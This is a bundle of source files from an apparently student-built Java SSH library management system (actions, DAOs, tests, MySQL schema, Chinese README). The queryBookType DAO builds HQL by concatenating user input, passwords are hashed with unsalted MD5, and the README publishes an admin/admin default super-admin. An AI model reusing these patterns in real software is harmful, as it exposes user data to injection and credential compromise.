PageBean<BackInfo> pb = null;
pb = backService.findMyBorrowInfoByPage(reader,pageCode,pageSize);
if(pb!=null){
pb.setUrl("findMyBorrowInfoByPage.action?");
}
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
public String queryBorrowSearchInfo(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<BackInfo> pb = null;
Reader reader = (Reader) ServletActionContext.getContext().getSession().get("reader");
if("".equals(ISBN.trim()) && borrowId==0){
backService.findMyBorrowInfoByPage(reader,pageCode,pageSize);
}else{
pb = backService.queryBackInfo(ISBN,reader.getPaperNO(),borrowId,pageCode,pageSize);
}
if(pb!=null){
pb.setUrl("queryBorrowSearchInfo.action?ISBN="+ISBN+"&borrowId="+borrowId+"&");
}
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
public String getBackInfoById(){
HttpServletResponse response = ServletActionContext.getResponse();
response.setContentType("application/json;charset=utf-8");
BackInfo backInfo = new BackInfo();
backInfo.setBorrowId(borrowId);
BackInfo newBackInfo = backService.getBackInfoById(backInfo);
JsonConfig jsonConfig = new JsonConfig();
jsonConfig.setJsonPropertyFilter(new PropertyFilter() {
public boolean apply(Object obj, String name, Object value) {
if(obj instanceof Authorization||name.equals("authorization") || obj instanceof Set || name.equals("borrowInfos")){
return true;
}else{
return false;
}
}
});
JSONObject jsonObject = JSONObject.fromObject(newBackInfo,jsonConfig);
try {
response.getWriter().print(jsonObject);
} catch (IOException e) {
throw new RuntimeException(e.getMessage());
}
return null;
}
}
<file_sep>/LibrarySystem/test/com/cc/library/test/TestBorrowInfo.java
package com.cc.library.test;
import java.util.List;
import org.hibernate.SessionFactory;
import org.hibernate.classic.Session;
import org.junit.Test;
import com.cc.library.domain.ForfeitInfo;
public class TestBorrowInfo extends BaseSpring{
@Test
public void testGetInfo(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
List list = session.createSQLQuery("SELECT f.borrowId,f.forfeit,f.isPay,f.aid FROM forfeitinfo f,borrowinfo b where b.borrowId = f.borrowId and b.readerId =?").setString(0,"1").list();
Object[] object = (Object[]) list.get(0);
System.out.println(object[0]);
session.close();
}
}
<file_sep>/database/图书馆管理系统.sql
create database LibrarySystem;
use librarySystem;
CREATE TABLE `admin` (
`aid` int(11) NOT NULL,
`username` varchar(20) BINARY NOT NULL,
`name` varchar(20) DEFAULT NULL,
`pwd` varchar(64) DEFAULT NULL,
`phone` varchar(20) DEFAULT NULL,
`state` int(2) DEFAULT '1',
PRIMARY KEY (`aid`)
);
CREATE TABLE `authorization` (
`aid` int(11) NOT NULL,
`bookSet` int(2) DEFAULT '0',
`readerSet` int(2) DEFAULT '0',
`borrowSet` int(2) DEFAULT '0',
`typeSet` int(2) DEFAULT '0',
`backSet` int(2) DEFAULT '0',
`forfeitSet` int(2) DEFAULT '0',
`sysSet` int(2) DEFAULT '0',
`superSet` int(2) DEFAULT '0',
PRIMARY KEY (`aid`),
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`)
);
CREATE TABLE `readertype` (
`readerTypeId` int(11) NOT NULL,
`readerTypeName` varchar(255) NOT NULL,
`maxNum` int(5) NOT NULL,
`bday` int(5) NOT NULL,
`penalty` double NOT NULL,
`renewDays` int(5) NOT NULL,
PRIMARY KEY (`readerTypeId`)
);
CREATE TABLE `reader` (
`readerId` varchar(255) NOT NULL,
`pwd` varchar(64) NOT NULL,
`name` varchar(20) NOT NULL,
`paperNO` varchar(20) UNIQUE NOT NULL,
`phone` varchar(20) DEFAULT NULL,
`email` varchar(30) DEFAULT NULL,
`createTime` datetime DEFAULT NULL,
`readerTypeId` int(11) DEFAULT NULL,
`aid` int(11) DEFAULT NULL,
PRIMARY KEY (`readerId`),
CONSTRAINT FOREIGN KEY (`readerTypeId`) REFERENCES `readertype` (`readerTypeId`) ON DELETE SET NULL,
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`)
);
CREATE TABLE `booktype` (
`typeId` int(11) NOT NULL,
`typeName` varchar(20) NOT NULL,
PRIMARY KEY (`typeId`)
);
CREATE TABLE `book` (
`bookId` int(11) NOT NULL,
`bookName` varchar(20) NOT NULL,
`ISBN` varchar(20) UNIQUE NOT NULL,
`autho` varchar(20) DEFAULT NULL,
`num` int(11) NOT NULL,
`currentNum` int(5) NOT NULL,
`press` varchar(20) DEFAULT NULL,
`description` varchar(255) DEFAULT NULL,
`price` double NOT NULL,
`putdate` datetime DEFAULT NULL,
`typeId` int(11) DEFAULT NULL,
`aid` int(11) DEFAULT NULL,
PRIMARY KEY (`bookId`),
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`),
CONSTRAINT FOREIGN KEY (`typeId`) REFERENCES `booktype` (`typeId`) ON DELETE SET NULL
) ;
CREATE TABLE `borrowinfo` (
`borrowId` int(11) NOT NULL,
`borrowDate` datetime DEFAULT NULL,
`endDate` datetime DEFAULT NULL,
`overday` int(11) DEFAULT '0',
`state` int(2) DEFAULT '0',
`readerId` varchar(255) DEFAULT NULL,
`bookId` int(11) DEFAULT NULL,
`penalty` double NOT NULL,
`aid` int(11) DEFAULT NULL,
PRIMARY KEY (`borrowId`),
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`),
CONSTRAINT FOREIGN KEY (`readerId`) REFERENCES `reader` (`readerId`) ON DELETE CASCADE,
CONSTRAINT FOREIGN KEY (`bookId`) REFERENCES `book` (`bookId`) ON DELETE CASCADE
);
CREATE TABLE `backinfo` (
`borrowId` int(11) NOT NULL,
`backDate` datetime DEFAULT NULL,
`aid` int(11) DEFAULT NULL,
PRIMARY KEY (`borrowId`),
CONSTRAINT FOREIGN KEY (`borrowId`) REFERENCES `borrowinfo` (`borrowId`) ON DELETE CASCADE,
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`)
);
CREATE TABLE `forfeitinfo` (
`borrowId` int(11) NOT NULL,
`forfeit` double DEFAULT NULL,
`isPay` int(2) DEFAULT '0',
`aid` int(11) DEFAULT NULL,
PRIMARY KEY (`borrowId`),
CONSTRAINT FOREIGN KEY (`borrowId`) REFERENCES `borrowinfo` (`borrowId`) ON DELETE CASCADE,
CONSTRAINT FOREIGN KEY (`aid`) REFERENCES `admin` (`aid`)
);
INSERT INTO ADMIN (aid,username,name,pwd,state) VALUES(1,'admin','cairou','ISMvKXpXpadDiUoOSoAfww==','1');
INSERT INTO authorization VALUES('1','1','1','1','1','1','1','1','1');
<file_sep>/LibrarySystem/src/com/cc/library/service/impl/AuthorizationServiceImpl.java
package com.cc.library.service.impl;
import com.cc.library.dao.AuthorizationDao;
import com.cc.library.domain.Authorization;
import com.cc.library.service.AuthorizationService;
public class AuthorizationServiceImpl implements AuthorizationService{
private AuthorizationDao authorizationDao;
public void setAuthorizationDao(AuthorizationDao authorizationDao) {
this.authorizationDao = authorizationDao;
}
@Override
public boolean addAuthorization(Authorization authorization) {
// TODO Auto-generated method stub
return authorizationDao.addAuthorization(authorization);
}
@Override
public Authorization getAuthorizationByaid(Authorization authorization) {
// TODO Auto-generated method stub
return authorizationDao.getAuthorizationByaid(authorization);
}
@Override
public Authorization updateAuthorization(Authorization authorization) {
// TODO Auto-generated method stub
return authorizationDao.updateAuthorization(authorization);
}
}
<file_sep>/LibrarySystem/src/com/cc/library/service/impl/AdminServiceImpl.java
package com.cc.library.service.impl;
import java.util.List;
import com.cc.library.dao.AdminDao;
import com.cc.library.domain.Admin;
import com.cc.library.domain.PageBean;
import com.cc.library.service.AdminService;
public class AdminServiceImpl implements AdminService{
private AdminDao adminDao;
public void setAdminDao(AdminDao adminDao) {
this.adminDao = adminDao;
}
@Override
public Admin getAdminByUserName(Admin admin) {
return adminDao.getAdminByUserName(admin);
}
@Override
public Admin updateAdminInfo(Admin admin) {
return adminDao.updateAdminInfo(admin);
}
@Override
public List<Admin> getAllAdmins() {
return adminDao.getAllAdmins();
}
@Override
public boolean addAdmin(Admin admin) {
return adminDao.addAdmin(admin);
}
@Override
public Admin getAdminById(Admin admin) {
return adminDao.getAdminById(admin);
}
@Override
public PageBean<Admin> findAdminByPage(int pageCode, int pageSize) {
return adminDao.findAdminByPage(pageCode,pageSize);
}
@Override
public PageBean<Admin> queryAdmin(Admin admin,int pageCode,int pageSize) {
return adminDao.queryAdmin(admin,pageCode,pageSize);
}
@Override
public boolean deleteAdmin(Admin admin) {
Admin deleteAdmin = getAdminById(admin);
return adminDao.deleteAdmin(deleteAdmin);
}
}
<file_sep>/LibrarySystem/src/com/cc/library/action/ReaderLoginAction.java
package com.cc.library.action;
import java.io.IOException;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.Reader;
import com.cc.library.service.ReaderService;
import com.cc.library.util.Md5Utils;
import com.opensymphony.xwork2.ActionSupport;
@SuppressWarnings("serial")
public class ReaderLoginAction extends ActionSupport {
private ReaderService readerService;
public void setReaderService(ReaderService readerService) {
this.readerService = readerService;
}
private String paperNO;
private String pwd;
public void setPaperNO(String paperNO) {
this.paperNO = paperNO;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
/**
* Ajax异步请求获得登录许可
* @return 返回登录状态
*/
public String login(){
//学生
Reader reader = new Reader();
reader.setPaperNO(paperNO);
reader.setPwd(Md5Utils.md5(pwd));
int login = 1;
Reader newReader = readerService.getReaderByPaperNO(reader);
if(newReader==null){
//用户名不存在
login = -1;
}else if(!newReader.getPwd().equals(reader.getPwd())){
//密码不正确
login = -2;
}else{
//存储入session
ServletActionContext.getContext().getSession().put("reader", newReader);
}
HttpServletResponse response = ServletActionContext.getResponse();
try {
response.getWriter().print(login);
} catch (IOException e) {
throw new RuntimeException(e.getMessage());
}
return null;
}
/**
* 退出登录
* @return
*/
public String logout(){
ServletActionContext.getContext().getSession().remove("reader");
return "logout";
}
}
<file_sep>/LibrarySystem/src/com/cc/library/dao/ReaderTypeDao.java
package com.cc.library.dao;
import java.util.List;
import com.cc.library.domain.ReaderType;
public interface ReaderTypeDao {
public List<ReaderType> getAllReaderType();
public ReaderType getTypeById(ReaderType readerType);
public ReaderType updateReaderType(ReaderType updateReaderType);
public boolean addReaderType(ReaderType readerType);
public ReaderType getTypeByName(ReaderType type);
}
<file_sep>/LibrarySystem/src/com/cc/library/domain/ForfeitInfo.java
package com.cc.library.domain;
import java.io.Serializable;
/**
* 罚金信息类
* @author c
*
*/
public class ForfeitInfo implements Serializable{
private Integer borrowId; //借阅编号
private BorrowInfo borrowInfo;
private Admin admin; //操作员
private Double forfeit; //罚金金额
private int isPay; //是否已经支付罚金
public Integer getBorrowId() {
return borrowId;
}
public void setBorrowId(Integer borrowId) {
this.borrowId = borrowId;
}
public BorrowInfo getBorrowInfo() {
return borrowInfo;
}
public void setBorrowInfo(BorrowInfo borrowInfo) {
this.borrowInfo = borrowInfo;
}
public Admin getAdmin() {
return admin;
}
public void setAdmin(Admin admin) {
this.admin = admin;
}
public Double getForfeit() {
return forfeit;
}
public void setForfeit(Double forfeit) {
this.forfeit = forfeit;
}
public int getIsPay() {
return isPay;
}
public void setIsPay(int isPay) {
this.isPay = isPay;
}
public ForfeitInfo() {
}
}
<file_sep>/README.md
## SSH图书管理系统
本系统前台利用BootStrap框架搭建UI界面,利用AJAX技术异步请求后台,后台使用SSH框架+ Quartz框架+JSP+ MySQL数据库构建网站,此系统分为前台管理和后台管理。管理员可以维护图书信息、图书分类信息、读者信息、管理员信息、借阅管理,归还管理,逾期处理,借阅规则设置,修改管理员个人资料、密码等;读者可以修改个人信息、修改密码,查看借阅信息,归还信息,逾期信息等等。游客无需登录就可以查询本系统的图书信息。
### 概述
图书馆管理系统,是一个基于 Web 的 B/S 系统,面向学校、图书馆等部门的书籍管理、浏览和发布系统,通过将海量资源、信息管理和网络发布系统的进行有机结合,不仅能够充分满足学生对知识的渴求,充实学校的教育资源,而且不受时间和空间限制,让学生随时随地地获取知识,所以图书馆管理系统的应用要达到能快速查找到书籍的索书号,能查询图书的借阅情况等目的。能够方便读者借阅图书。
在图书管理系统中,管理员为每个读者建立一个账户,账户内存储读者个人的详细信息,。读者可以在图书馆进行图书的借、还、续借、查询等操作,不同类别的读者在借书限额、还书期限以及逾期罚金上要有所不同。
借阅图书时,由管理员录入读者证件号,图书编号,由学生输入密码,系统首先验证该学生的密码是否正确,不正确则会提示密码错误,然后还会检验该读者的借阅是否已达到上限,该书是否是馆内最后一本,是否可借阅。完成借书操作的同时要修改相应图书信息的状态、在借阅信息中添加相应的记录。
归还图书时,由管理员录入借书读者证件号和待归还的图书编号,显示读者证件号、读者姓名、读书编号、读书名称、借书日期、应还日期等信息,若进行续借则取消超期和罚款等信息。完成归还操作的同时,修改相应图书信息的状态、修改读者信息中的已借数量、在借书信息中对相应的借书记录做标记、在还书信息中添加相应的记录。
图书管理员不定期地对图书信息进行添加、修改和删除等操作,在图书尚未归还的情况下不能对图书信息进行删除。也可以对读者信息进行添加、修改、删除等操作,在读者还有未归还的图书的情况下不能进行删除读者信息。
超级系统管理员处理进行读者类别信息的设置、读者管理设置,图书类别的设置,图书信息管理设置,罚金设置还可以进行图书管理员权限的设置、对普通图书管理员进行设置。
### 功能划分
通过对用户需求的分析,可以分析出该网上购物系统大致可以分六个功能模块:读者管理模块、图书类别管理模块、图书管理模块、借阅管理模块,管理员管理模块,系统设置模块。

### 界面设计
- 管理员登录界面

- 读者登录界面

- 管理员主界面

- 管理员个人资料界面

- 管理员密码修改界面

- 管理员读者管理界面

- 管理员读者添加界面

- 超级管理员管理普通管理员界面

- 超级管理员添加普通管理员界面

- 超级管理员对普通管理员进行权限管理界面

- 管理员图书管理界面

- 管理员图书添加界面

- 管理员图书分类管理界面

- 管理员图书分类添加界面

- 管理员借阅管理界面

- 管理员归还管理界面

- 管理员借阅查询界面

- 管理员逾期管理界面

- 管理员系统设置界面

- 读者界面

- 读者个人借阅查询界面

- 读者借书之后的个人借阅查询界面

- 读者还书之后的个人借阅查询界面

- 游客界面

- 游客图书查询界面

- 404页面

- 500页面

- 权限不通过页面

---
### 新增功能
1 . 下载图书信息excel表格模板并填入对应信息,上传导入填写后的excel之后执行添加相关的图书信息功能,还可以导出数据库的图书信息到excel表格中。
2 . 下载读者信息excel表格模板并填入对应信息,上传导入填写后的excel之后执行添加相关的读者信息功能,还可以导出数据库的读者信息到excel表格中。
### 相关截图
- 读者导出页面

- 批量导入读者页面

- 图书导出页面

- 批量导入图书页面

---
## 项目说明:
由于最近很多人问我关于项目导入和结构的问题,具体的解决方法看issues:[https://github.com/cckevincyh/LibrarySystem/issues/1](https://github.com/cckevincyh/LibrarySystem/issues/1),还有管理员数据的问题,我已经在数据库文件中上传了添加超级管理员的sql语句 如下:
INSERT INTO ADMIN (aid,username,name,pwd,state) VALUES(1,'admin','cairou','ISMvKXpXpadDiUoOSoAfww==','1');
INSERT INTO authorization VALUES('1','1','1','1','1','1','1','1','1');
用户名和密码都是admin。
<file_sep>/LibrarySystem/src/com/cc/library/action/AdminManageAction.java
package com.cc.library.action;
import java.io.IOException;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.sf.json.JSONObject;
import net.sf.json.JsonConfig;
import net.sf.json.util.PropertyFilter;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.Admin;
import com.cc.library.domain.Authorization;
import com.cc.library.domain.PageBean;
import com.cc.library.service.AdminService;
import com.cc.library.service.AuthorizationService;
import com.cc.library.util.Md5Utils;
import com.opensymphony.xwork2.ActionSupport;
@SuppressWarnings("serial")
public class AdminManageAction extends ActionSupport{
private AdminService adminService;
private AuthorizationService authorizationService;
public void setAuthorizationService(AuthorizationService authorizationService) {
this.authorizationService = authorizationService;
}
private int id;
private String username;
public void setUsername(String username) {
this.username = username;
}
private String name;
private String phone;
private String pwd;
private int pageCode;//当前页数
private String adminUserName; //查询管理员用户名
private String adminName;//查询管理员姓名
public void setAdminUserName(String adminUserName) {
this.adminUserName = adminUserName;
}
public void setAdminName(String adminName) {
this.adminName = adminName;
}
public void setPageCode(int pageCode) {
this.pageCode = pageCode;
}
public void setId(int id) {
this.id = id;
}
public void setName(String name) {
this.name = name;
}
public void setPhone(String phone) {
this.phone = phone;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
public void setAdminService(AdminService adminService) {
this.adminService = adminService;
}
/**
* 得到指定的普通管理员
* Ajax请求该方法
* 向浏览器返回该管理员的json对象
* @return
*/
public String getAdmin(){
HttpServletResponse response = ServletActionContext.getResponse();
response.setContentType("application/json;charset=utf-8");
Admin admin = new Admin();
admin.setAid(id);
Admin newAdmin = adminService.getAdminById(admin);
JsonConfig jsonConfig = new JsonConfig();
jsonConfig.setJsonPropertyFilter(new PropertyFilter() {
public boolean apply(Object obj, String name, Object value) {
if(name.equals("admin")){//过滤掉Authorization中的admin
return true;
}else{
return false;
}
}
});
JSONObject jsonObject = JSONObject.fromObject(newAdmin,jsonConfig);
try {
response.getWriter().print(jsonObject);
} catch (IOException e) {
throw new RuntimeException(e.getMessage());
}
return null;
}
/**
* 修改指定管理员
* @return
*/
public String updateAdmin(){
Admin admin = new Admin();
admin.setAid(id);
Admin updateAdmin = adminService.getAdminById(admin);//查出需要修改的管理员对象
updateAdmin.setUsername(username);
updateAdmin.setName(name);
updateAdmin.setPhone(phone);
Admin newAdmin = adminService.updateAdminInfo(updateAdmin);//修改该管理员
int success = 0;
if(newAdmin!=null){
success = 1;
//由于是转发并且js页面刷新,所以无需重查
}
try {
ServletActionContext.getResponse().getWriter().print(success);
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e.getMessage());
}
return null;
}
/**
* 添加管理员
* @return
*/
public String addAdmin(){
Admin admin = new Admin();
admin.setUsername(username);
Admin admin2 = adminService.getAdminByUserName(admin);//按照姓名查找管理员,查看用户名是否已经存在
int success = 0;
if(admin2!=null){
success = -1;//已经存在该管理员
}else{
admin.setName(name);
admin.setPhone(phone);
admin.setPwd(<PASSWORD>("<PASSWORD>"));
Authorization authorization = new Authorization();
authorization.setAdmin(admin);
admin.setAuthorization(authorization);//设置权限
boolean b = adminService.addAdmin(admin);//添加管理员,返回是否添加成功
if(b){
success = 1;
}else{
success = 0;
}
}
try {
ServletActionContext.getResponse().getWriter().print(success);//向浏览器响应是否成功的状态码
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e.getMessage());
}
return null;
}
/**
* 根据页码查询管理员
* @return
*/
public String findAdminByPage(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<Admin> pb = adminService.findAdminByPage(pageCode,pageSize);
if(pb!=null){
pb.setUrl("findAdminByPage.action?");
}
//存入request域中
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
/**
*
* @return
*/
public String queryAdmin(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<Admin> pb = null;
if("".equals(adminUserName.trim()) && "".equals(adminName.trim())){
pb = adminService.findAdminByPage(pageCode,pageSize);
}else{
Admin admin = new Admin();
admin.setUsername(adminUserName);
admin.setName(adminName);
pb = adminService.queryAdmin(admin,pageCode,pageSize);
}
if(pb!=null){
pb.setUrl("queryAdmin.action?adminUserName="+adminUserName+"&adminName="+adminName+"&");
}
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
/**
* 删除指定管理员
* @return
*/
public String deleteAdmin(){
Admin admin = new Admin();
admin.setAid(id);
boolean deleteAdmin = adminService.deleteAdmin(admin);
int success = 0;
if(deleteAdmin){
success = 1;
//由于是转发并且js页面刷新,所以无需重查
}
try {
ServletActionContext.getResponse().getWriter().print(success);
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e.getMessage());
}
return null;
}
}
<file_sep>/LibrarySystem/test/com/cc/library/test/TestBookType.java
package com.cc.library.test;
import java.util.List;
import java.util.Set;
import net.sf.json.JSONArray;
import net.sf.json.JsonConfig;
import net.sf.json.util.PropertyFilter;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.classic.Session;
import org.junit.Test;
import com.cc.library.domain.Book;
import com.cc.library.domain.BookType;
public class TestBookType extends BaseSpring{
@Test
public void testFindBookType(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
String hql= "from BookType";
List createQuery = session.createQuery(hql).list();
BookType bookType = (BookType) createQuery.get(0);
System.out.println(bookType);
// Set<Book> books = bookType.getBooks();
// System.out.println(books.size());
JsonConfig jsonConfig = new JsonConfig();
jsonConfig.setJsonPropertyFilter(new PropertyFilter() {
public boolean apply(Object obj, String name, Object value) {
if(obj instanceof Set||name.equals("books")){
return true;
}else{
return false;
}
}
});
String json = JSONArray.fromObject(createQuery,jsonConfig).toString();//List------->JSONArray
System.out.println(json);
}
@Test
public void testDeleteBookType(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
Transaction transaction = session.beginTransaction();
BookType booktype = (BookType) session.get(BookType.class, 1);
session.delete(booktype);
transaction.commit();
session.close();
}
@Test
public void testGetBook(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
String hql= "from BookType";
List createQuery = session.createQuery(hql).list();
BookType bookType = (BookType) createQuery.get(0);
System.out.println(bookType);
// Set<Book> books = bookType.getBooks();
// System.out.println(books.size());
}
@Test
public void testUpdateBook(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
Transaction transaction = session.beginTransaction();
String hql= "from BookType";
List createQuery = session.createQuery(hql).list();
BookType bookType = (BookType) createQuery.get(0);
System.out.println(bookType);
// Set<Book> books = bookType.getBooks();
// for(Book book : books){
// book.setState(0);
// }
session.update(bookType);
transaction.commit();
session.close();
}
}
<file_sep>/LibrarySystem/test/com/cc/library/test/TestBook.java
package com.cc.library.test;
import java.util.List;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.classic.Session;
import org.junit.Test;
import com.cc.library.domain.Admin;
import com.cc.library.domain.Book;
import com.cc.library.domain.BookType;
import com.cc.library.domain.Reader;
public class TestBook extends BaseSpring{
@Test
public void testFindBook(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
String hql= "from Book";
List createQuery = session.createQuery(hql).list();
Book book = (Book) createQuery.get(0);
System.out.println(book);
System.out.println(book.getBookType());
}
@Test
public void testSaveBook(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
Transaction transaction = session.beginTransaction();
Book book = new Book();
book.setBookName("1111");
BookType type = new BookType();
type.setTypeId(1);
book.setBookType(type);
session.save(book);
transaction.commit();
session.close();
}
@Test
public void testDelete(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
Transaction transaction = session.beginTransaction();
Book book = (Book) session.get(Book.class, 1);
session.delete(book);
transaction.commit();
session.close();
}
}
<file_sep>/LibrarySystem/src/com/cc/library/dao/impl/BookTypeDaoImpl.java
package com.cc.library.dao.impl;
import java.sql.SQLException;
import java.util.List;
import java.util.Set;
import org.hibernate.HibernateException;
import org.hibernate.Query;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import com.cc.library.dao.BookTypeDao;
import com.cc.library.domain.Book;
import com.cc.library.domain.BookType;
import com.cc.library.domain.PageBean;
public class BookTypeDaoImpl extends HibernateDaoSupport implements BookTypeDao{
@Override
public List<BookType> getAllBookTypes() {
String hql= "from BookType";
List list = this.getHibernateTemplate().find(hql);
return list;
}
@Override
public BookType getBookType(BookType bookType) {
String hql= "from BookType b where b.typeId=?";
List list = this.getHibernateTemplate().find(hql, bookType.getTypeId());
if(list!=null && list.size()>0){
return (BookType) list.get(0);
}
return null;
}
/**
*
* @param hql传入的hql语句
* @param pageCode当前页
* @param pageSize每页显示大小
* @return
*/
public List doSplitPage(final String hql,final int pageCode,final int pageSize){
//调用模板的execute方法,参数是实现了HibernateCallback接口的匿名类,
return (List) this.getHibernateTemplate().execute(new HibernateCallback(){
//重写其doInHibernate方法返回一个object对象,
public Object doInHibernate(Session session)
throws HibernateException, SQLException {
//创建query对象
Query query=session.createQuery(hql);
//返回其执行了分布方法的list
return query.setFirstResult((pageCode-1)*pageSize).setMaxResults(pageSize).list();
}
});
}
@Override
public PageBean<BookType> findBookTypeByPage(int pageCode, int pageSize) {
PageBean<BookType> pb = new PageBean<BookType>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
List bookTypeList = null;
try {
String sql = "SELECT count(*) FROM BookType";
List list = this.getSession().createQuery(sql).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
//不支持limit分页
String hql= "from BookType";
//分页查询
bookTypeList = doSplitPage(hql,pageCode,pageSize);
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
if(bookTypeList!=null && bookTypeList.size()>0){
pb.setBeanList(bookTypeList);
return pb;
}
return null;
}
@Override
public BookType getBookTypeByName(BookType bookType) {
String hql= "from BookType b where b.typeName=?";
List list = this.getHibernateTemplate().find(hql, bookType.getTypeName());
if(list!=null && list.size()>0){
return (BookType) list.get(0);
}
return null;
}
@Override
public boolean addBookType(BookType bookType) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().save(bookType);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
@Override
public BookType getBookTypeById(BookType bookType) {
String hql= "from BookType b where b.typeId=?";
List list = this.getHibernateTemplate().find(hql, bookType.getTypeId());
if(list!=null && list.size()>0){
return (BookType) list.get(0);
}
return null;
}
@Override
public BookType updateBookTypeInfo(BookType bookType) {
BookType newBookType = null;
try{
this.getHibernateTemplate().clear();
//将传入的detached(分离的)状态的对象的属性复制到持久化对象中,并返回该持久化对象
newBookType = (BookType) this.getHibernateTemplate().merge(bookType);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return newBookType;
}
@Override
public boolean deleteBookType(BookType bookType) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().delete(bookType);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
@Override
public PageBean<BookType> queryBookType(BookType bookType, int pageCode,
int pageSize) {
PageBean<BookType> pb = new PageBean<BookType>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
StringBuilder sb = new StringBuilder();
StringBuilder sb_sql = new StringBuilder();
String sql = "SELECT count(*) FROM BookType b where 1=1";
String hql= "from BookType b where 1=1";
sb.append(hql);
sb_sql.append(sql);
if(!"".equals(bookType.getTypeName().trim())){
sb.append(" and b.typeName like '%" + bookType.getTypeName() +"%'");
sb_sql.append(" and b.typeName like '%" + bookType.getTypeName() +"%'");
}
try{
List list = this.getSession().createQuery(sb_sql.toString()).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
List<BookType> bookTypeList = doSplitPage(sb.toString(),pageCode,pageSize);
if(bookTypeList!=null && bookTypeList.size()>0){
pb.setBeanList(bookTypeList);
return pb;
}
}catch (Throwable e1){
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return null;
}
@Override
public Book getBookById(Book book) {
String hql= "from Book b where b.bookId=?";
List list = this.getHibernateTemplate().find(hql, book.getBookId());
if(list!=null && list.size()>0){
return (Book) list.get(0);
}
return null;
}
}
<file_sep>/LibrarySystem/src/com/cc/library/action/interceptor/BookInterceptor.java
package com.cc.library.action.interceptor;
import java.util.Map;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.Admin;
import com.cc.library.domain.Authorization;
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.Interceptor;
@SuppressWarnings("serial")
public class BookInterceptor implements Interceptor{
@Override
public void destroy() {
// TODO Auto-generated method stub
}
@Override
public void init() {
// TODO Auto-generated method stub
}
@Override
public String intercept(ActionInvocation invocation) throws Exception {
Map sessionMap = ServletActionContext.getContext().getSession();
Object obj = sessionMap.get("admin");
if(obj!=null && obj instanceof Admin){
Admin admin = (Admin) obj;
Authorization authorization = admin.getAuthorization();
if(authorization.getBookSet()==1 || authorization.getSuperSet()==1){
return invocation.invoke();
}
}
return "nopass";
}
}
<file_sep>/LibrarySystem/src/com/cc/library/dao/impl/ReaderDaoImpl.java
package com.cc.library.dao.impl;
import java.sql.SQLException;
import java.util.List;
import org.hibernate.HibernateException;
import org.hibernate.Query;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import com.cc.library.dao.ReaderDao;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
import com.cc.library.domain.ReaderType;
